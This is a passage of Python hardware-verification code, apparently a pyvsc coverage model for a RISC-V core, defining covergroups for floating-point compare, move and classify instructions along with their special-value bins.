cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class fmv_d_x_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class feq_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class feq_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class flt_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class flt_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zero": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fle_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fle_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fclass_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_value = vsc.coverpoint(lambda: self.instr.rd_value, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fclass_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_value = vsc.coverpoint(lambda: self.instr.rd_value, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) def cg_instantiation(self): self.opcode_cg_i = self.opcode_cg() self.csrrw_cg_i = self.csrrw_cg() self.rv32i_misc_cg_i = self.rv32i_misc_cg() self.mepc_alignment_cg_i = self.mepc_alignment_cg() # self.compressed_opcode_cg_i = self.compressed_opcode_cg() self.beq_cg_i = self.beq_cg() self.jal_cg_i = self.jal_cg() self.lui_cg_i = self.lui_cg() self.addi_cg_i = self.addi_cg() self.auipc_cg_i = self.auipc_cg() self.ori_cg_i = self.ori_cg() self.add_cg_i = self.add_cg() self.sub_cg_i = self.sub_cg() self.sra_cg_i = self.sra_cg() self.andi_cg_i = self.andi_cg() self.srli_cg_i = self.srli_cg() self.and_cg_i = self.and_cg() self.srl_cg_i = self.srl_cg() self.sll_cg_i = self.sll_cg() self.xor_cg_i = self.xor_cg() self.or_cg_i = self.or_cg() self.sltu_cg_i = self.sltu_cg() self.sltiu_cg_i = self.sltiu_cg() self.xori_cg_i = self.xori_cg() self.slti_cg_i = self.slti_cg() self.srai_cg_i = self.srai_cg() self.slt_cg_i = self.slt_cg() self.slli_cg_i = self.slli_cg() self.mul_cg_i = self.mul_cg() self.mulh_cg_i = self.mulh_cg() self.mulhsu_cg_i = self.mulhsu_cg() self.mulhu_cg_i = self.mulhu_cg() self.div_cg_i = self.div_cg() self.divu_cg_i = self.divu_cg() 